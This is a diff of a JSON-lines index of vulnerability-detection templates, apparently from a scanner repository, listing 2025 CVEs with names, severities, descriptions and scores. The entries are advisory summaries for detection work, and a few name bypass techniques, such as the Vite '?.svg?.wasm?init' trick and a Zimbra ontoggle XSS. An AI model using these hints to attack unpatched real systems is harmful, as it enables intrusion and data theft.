 {"ID":"CVE-2025-27888","Info":{"Name":"Apache Druid - Server-Side Request Forgery","Severity":"high","Description":"Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-27888.yaml"}
 {"ID":"CVE-2025-27892","Info":{"Name":"Shopware \u003c 6.5.8.13 - SQL Injection","Severity":"critical","Description":"The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches performed by this function can be aggregated using the parameters in the \"aggregations\" object. The name field in this \"aggregations\" in nested object is vulnerable SQL-injection and can be exploited using SQL parameters.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2025/CVE-2025-27892.yaml"}
+{"ID":"CVE-2025-27915","Info":{"Name":"Zimbra - Cross-Site Scripting via ICS Files","Severity":"medium","Description":"Detects Zimbra Collaboration Suite versions vulnerable to CVE-2025-27915, a stored XSS vulnerability in the Classic Web Client due to insufficient sanitization of HTML content in ICS files. When a user views an email with a malicious ICS entry, embedded JavaScript executes via an ontoggle event inside a details tag, allowing attackers to perform unauthorized actions like email redirection and data exfiltration.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-27915.yaml"}
 {"ID":"CVE-2025-28228","Info":{"Name":"Electrolink FM/DAB/TV Transmitter - Credentials Disclosure","Severity":"high","Description":"A credential exposure vulnerability in Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web v01.09, v01.08, v01.07, and Display v1.4, v1.2 allows unauthorized attackers to access credentials in plaintext.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-28228.yaml"}
 {"ID":"CVE-2025-28367","Info":{"Name":"mojoPortal \u003c=2.9.0.1 - Directory Traversal","Severity":"medium","Description":"mojoPortal \u003c=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-28367.yaml"}
 {"ID":"CVE-2025-28906","Info":{"Name":"Skitter Slideshow \u003c= 2.5.2 - Authenticated (Administrator+) Stored Cross-Site Scripting","Severity":"medium","Description":"The Skitter Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-28906.yaml"}
@@ -3319,6 +3372,7 @@
 {"ID":"CVE-2025-31131","Info":{"Name":"Yeswiki \u003c 4.5.2 - Unauthenticated Path Traversal","Severity":"high","Description":"YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-31131.yaml"}
 {"ID":"CVE-2025-31161","Info":{"Name":"CrushFTP - Authentication Bypass","Severity":"critical","Description":"CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-31161.yaml"}
 {"ID":"CVE-2025-31324","Info":{"Name":"SAP NetWeaver Visual Composer Metadata Uploader - Deserialization","Severity":"critical","Description":"SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-31324.yaml"}
+{"ID":"CVE-2025-31486","Info":{"Name":"Vite server.fs.deny Bypass - Local File Inclusion","Severity":"medium","Description":"Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest- script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default- 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-31486.yaml"}
 {"ID":"CVE-2025-31489","Info":{"Name":"MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads","Severity":"high","Description":"MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access\nto - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-31489.yaml"}
 {"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
 {"ID":"CVE-2025-32429","Info":{"Name":"XWiki Platform - SQL Injection","Severity":"critical","Description":"XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 9.4-rc-1 through 16.10.5 and 17.0.0-rc-1 through 17.2.2, it's possible for anyone to inject SQL using the parameter sort of the getdeleteddocuments.vm. It's injected as is as an ORDER BY value.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-32429.yaml"}
@@ -3359,11 +3413,14 @@
 {"ID":"CVE-2025-41243","Info":{"Name":"Spring Cloud Gateway Server Webflux - Broken Access Control","Severity":"critical","Description":"Spring Cloud Gateway Server Webflux contains a vulnerability caused by unsecured and exposed actuator endpoints allowing modification of Spring Environment properties, letting attackers modify configuration, exploit requires unsecured actuator endpoints exposure.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-41243.yaml"}
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
 {"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
+{"ID":"CVE-2025-4302","Info":{"Name":"Stop User Enumeration WordPress plugin - Authentication Bypass","Severity":"medium","Description":"Stop User Enumeration WordPress plugin \u003c 1.7.3 contains an authentication bypass caused by URL-encoding the REST API path /wp-json/wp/v2/users/, letting attackers bypass user enumeration restrictions, exploit requires crafted URL encoding.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4302.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
 {"ID":"CVE-2025-4334","Info":{"Name":"Simple User Registration \u003c= 6.3 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4334.yaml"}
 {"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
+{"ID":"CVE-2025-44136","Info":{"Name":"MapTiler Tileserver-php v2.0 - Unauthenticated XSS","Severity":"medium","Description":"MapTiler Tileserver-php v2.0 contains a reflected XSS caused by unencoded reflection of the GET parameter \\\"layer\\\" in an error message, letting unauthenticated attackers execute arbitrary script on victim browsers.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-44136.yaml"}
+{"ID":"CVE-2025-44137","Info":{"Name":"MapTiler Tileserver-php v2.0 - Unauthenticated File Read","Severity":"high","Description":"MapTiler Tileserver-php v2.0 contains a directory traversal caused by improper sanitization of GET parameters in renderTile function, letting attackers read arbitrary files on the server, exploit requires crafted web requests\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-44137.yaml"}
 {"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
 {"ID":"CVE-2025-44177","Info":{"Name":"White Star Software ProTop - Directory Traversal","Severity":"high","Description":"A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-44177.yaml"}
 {"ID":"CVE-2025-4427","Info":{"Name":"Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution","Severity":"critical","Description":"An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4427.yaml"}
@@ -3374,6 +3431,7 @@
 {"ID":"CVE-2025-46822","Info":{"Name":"Java-springboot-codebase 1.1 - Arbitrary File Read","Severity":"high","Description":"OsamaTaher/Java-springboot-codebase is a collection of Java and Spring Boot code snippets, applications, and projects. Prior to commit c835c6f7799eacada4c0fc77e0816f250af01ad2, insufficient path traversal mechanisms make absolute path traversal possible. This vulnerability allows unauthorized access to sensitive internal files. Commit c835c6f7799eacada4c0fc77e0816f250af01ad2 contains a patch for the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-46822.yaml"}
 {"ID":"CVE-2025-47204","Info":{"Name":"Bootstrap Multiselect \u003c= 1.1.2 - Cross-Site Scripting","Severity":"medium","Description":"A PHP script in the source code release echoes arbitrary POST data. If a developer adopts this structure wholesale in a live application, it could create a Reflective Cross-Site Scripting (XSS) vulnerability exploitable through Cross-Site Request Forgery (CSRF).\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-47204.yaml"}
 {"ID":"CVE-2025-47423","Info":{"Name":"Personal Weather Station Dashboard 12 - Directory Traversal","Severity":"high","Description":"Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2025/CVE-2025-47423.yaml"}
+{"ID":"CVE-2025-47445","Info":{"Name":"WordPress Eventin (Themewinter) ≤ 4.0.26 - Arbitrary File Download","Severity":"high","Description":"Themewinter Eventin contains a path traversal caused by relative path manipulation, letting attackers access arbitrary files on the server, exploit requires no specific privileges or user interaction.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-47445.yaml"}
 {"ID":"CVE-2025-47539","Info":{"Name":"Eventin \u003c= 4.0.26 - Privilege Escalation","Severity":"critical","Description":"The Eventin WordPress plugin before 4.0.27 suffers from an unauthenticated privilege escalation vulnerability. Due to a missing permission check in the a REST API endpoint, unauthenticated attackers can import users with arbitrary roles, including administrator, leading to full site compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47539.yaml"}
 {"ID":"CVE-2025-47646","Info":{"Name":"PSW Front-end Login \u0026 Registration 1.13 - Weak Password Recovery","Severity":"critical","Description":"PSW Front-end Login \u0026 Registration plugin for WordPress contains a weak password recovery mechanism that can be exploited by unauthenticated attackers. This vulnerability affects versions through 1.13 and allows attackers to potentially gain unauthorized access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47646.yaml"}
 {"ID":"CVE-2025-47812","Info":{"Name":"Wing FTP Server \u003c= 7.4.3 - Remote Code Execution","Severity":"critical","Description":"Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).\nThe vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection\ninto session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting\nin arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47812.yaml"}
@@ -3388,11 +3446,15 @@
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
 {"ID":"CVE-2025-49493","Info":{"Name":"Akamai CloudTest \u003c 60 2025.06.02 - XML External Entity (XXE)","Severity":"critical","Description":"Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-49493.yaml"}
 {"ID":"CVE-2025-49596","Info":{"Name":"MCP Inspector \u003c 0.14.0 UnauthenticatedRemote Code Execution","Severity":"critical","Description":"The MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-49596.yaml"}
+{"ID":"CVE-2025-49706","Info":{"Name":"Microsoft SharePoint Server - Authentication Bypass","Severity":"medium","Description":"Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-49706.yaml"}
 {"ID":"CVE-2025-49825","Info":{"Name":"Teleport - Authentication Bypass","Severity":"critical","Description":"Teleport versions prior to 17.5.2 are vulnerable to a remote authentication bypass vulnerability. This issue allows attackers to gain unauthorized access to affected systems.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-49825.yaml"}
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
 {"ID":"CVE-2025-51482","Info":{"Name":"Letta Letta 0.7.12 - Remote Code Execution","Severity":"high","Description":"Letta 0.7.12 is vulnerable to remote code execution via POST /v1/tools/run in letta.server.rest_api.routers.v1.tools.run_tool_from_source, allowing attackers to execute arbitrary Python and OS commands via crafted tool source code.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-51482.yaml"}
 {"ID":"CVE-2025-51501","Info":{"Name":"Microweber CMS2.0 - Cross-Site Scripting","Severity":"medium","Description":"Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51501.yaml"}
 {"ID":"CVE-2025-51502","Info":{"Name":"Microweber CMS 2.0 - Reflected XSS in Admin Page Creation","Severity":"medium","Description":"Reflected Cross-Site Scripting (XSS) exists in Microweber CMS 2.0 through the layout parameter on the /admin/page/create page. It allows arbitrary JavaScript to execute in the context of authenticated admin users.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51502.yaml"}
+{"ID":"CVE-2025-51586","Info":{"Name":"PrestaShop - Information Disclosure","Severity":"medium","Description":"User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51586.yaml"}
+{"ID":"CVE-2025-51990","Info":{"Name":"XWiki – Stored Cross-Site Scripting (XSS)","Severity":"medium","Description":"XWiki through version 17.3.0 contains stored cross-site scripting caused by improper sanitization of inputs in the Administration interface's Presentation section, letting authenticated administrators inject JavaScript that executes in visitors' browsers, exploit requires administrator authentication.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-51990.yaml"}
+{"ID":"CVE-2025-51991","Info":{"Name":"XWiki \u003c= 17.3.0 - Server-Side Template Injection (SSTI)","Severity":"critical","Description":"XWiki \u003c= 17.3.0 contains a server-side template injection caused by improper validation of Apache Velocity template code in the Administration interface HTTP Meta Info field, letting authenticated administrators execute arbitrary template logic.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-51991.yaml"}
 {"ID":"CVE-2025-52207","Info":{"Name":"MikoPBX - Unrestricted File Upload","Severity":"critical","Description":"MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-52207.yaml"}
 {"ID":"CVE-2025-52472","Info":{"Name":"XWiki - HQL Injection","Severity":"high","Description":"XWiki is vulnerable to Hibernate Query Language (HQL) injection in the wiki and space search REST API starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0. The vulnerability allows attackers to inject malicious HQL queries through the orderField parameter, potentially leading to data extraction, authentication bypass, or remote code execution depending on database backend and configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-52472.yaml"}
 {"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
@@ -3416,7 +3478,9 @@
 {"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
 {"ID":"CVE-2025-55161","Info":{"Name":"Stirling-PDF SSRF via Markdown","Severity":"high","Description":"Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-55161.yaml"}
 {"ID":"CVE-2025-55169","Info":{"Name":"WeGIA - Directory Traversal","Severity":"critical","Description":"WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Prior to version 3.4.8, a path traversal vulnerability was discovered in the WeGIA application, html/socio/sistema/download_remessa.php endpoint. This vulnerability could allow an attacker to gain unauthorized access to local files in the server and sensitive information stored in config.php. config.php contains information that could allow direct access to the database. This issue has been patched in version 3.4.8.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-55169.yaml"}
+{"ID":"CVE-2025-55182","Info":{"Name":"React Server Components - Remote Code Execution","Severity":"critical","Description":"React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel,\nreact-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused\nby unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting\nunauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-55182.yaml"}
 {"ID":"CVE-2025-55190","Info":{"Name":"ArgoCD Project API Token Repository Credentials Exposure","Severity":"critical","Description":"Argo CD API tokens with project-level permissions are able to retrieve sensitive repository credentials\n(usernames, passwords) through the project details API endpoint, even when the token only has standard\napplication management permissions and no explicit access to secrets. This vulnerability affects versions\nv2.2.0-rc1 and later, including 2.13.0 through 2.13.8, 2.14.0 through 2.14.15, 3.0.0 through 3.0.12,\nand 3.1.0-rc1 through 3.1.1. Any token with project get permissions is vulnerable, including global permissions.\nNote: This template requires valid ArgoCD credentials (username/password) to test the vulnerability.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-55190.yaml"}
+{"ID":"CVE-2025-55523","Info":{"Name":"Agent-Zero 0.8.0 - 0.9.4 - Arbitrary File Download","Severity":"high","Description":"Agent-Zero v0.8.0 - 0.9.4 contains a path traversal caused by improper validation in /api/download_work_dir_file.py, letting attackers access unauthorized files, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55523.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-55747","Info":{"Name":"XWiki Platform - Information Disclosure","Severity":"high","Description":"XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 6.1-milestone-2 through 16.10.6, configuration files are accessible through the webjars API.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-55747.yaml"}
 {"ID":"CVE-2025-55748","Info":{"Name":"XWiki Platform - Path Traversal","Severity":"high","Description":"XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55748.yaml"}
@@ -3429,6 +3493,7 @@
 {"ID":"CVE-2025-57819","Info":{"Name":"FreePBX - Remote Code Execution","Severity":"critical","Description":"FreePBX 15, 16, and 17 contain a remote code execution caused by insufficiently sanitized user-supplied data in endpoints, letting unauthenticated attackers manipulate the database and execute code remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-57819.yaml"}
 {"ID":"CVE-2025-57822","Info":{"Name":"Next.js Middleware - Server-Side Request Forgery","Severity":"medium","Description":"In Next.js prior to versions 14.2.32 and 15.4.7, when request headerswere insecurely passed to NextResponse.next(), an attacker could exploit this behavior to perform Server-Side Request Forgery (SSRF) attacks.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-57822.yaml"}
 {"ID":"CVE-2025-58179","Info":{"Name":"Astro Cloudflare Adapter - Server Side Request Forgery","Severity":"high","Description":"Astro is a web framework for content-driven websites. Versions 11.0.3 through 12.6.5 are vulnerable to SSRF when using Astro's Cloudflare adapter. When configured with output: 'server' while using the default imageService: 'compile', the generated image optimization endpoint doesn't check the URLs it receives, allowing content from unauthorized third-party domains to be served. a A bug in impacted versions of the @astrojs/cloudflare adapter for deployment on Cloudflare’s infrastructure, allows an attacker to bypass the third-party domain restrictions and serve any content from the vulnerable origin.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-58179.yaml"}
+{"ID":"CVE-2025-58360","Info":{"Name":"GeoServer - XML External Entity Injection","Severity":"high","Description":"GeoServer 2.26.0 to 2.26.2 and 2.25.6 contains an XML External Entity (XXE) injection caused by insufficient sanitization of XML input in /geoserver/wms GetMap operation, letting attackers disclose files or cause DoS, exploit requires crafted XML input.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-58360.yaml"}
 {"ID":"CVE-2025-58434","Info":{"Name":"Flowise \u003c= 3.0.5 - Account Takeover","Severity":"critical","Description":"Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-58434.yaml"}
 {"ID":"CVE-2025-58443","Info":{"Name":"FOGProject \u003c= 1.5.10.1673 - Authentication Bypass","Severity":"critical","Description":"FOGProject version 1.5.10.1673 suffers from an authentication bypass vulnerability that allows unauthenticated users to access the management interface without proper authentication. This can lead to unauthorized access to system configuration, host management, and potentially database information.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-58443.yaml"}
 {"ID":"CVE-2025-58751","Info":{"Name":"Vite Dev Server - Path Traversal","Severity":"low","Description":"Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-58751.yaml"}
@@ -3439,6 +3504,7 @@
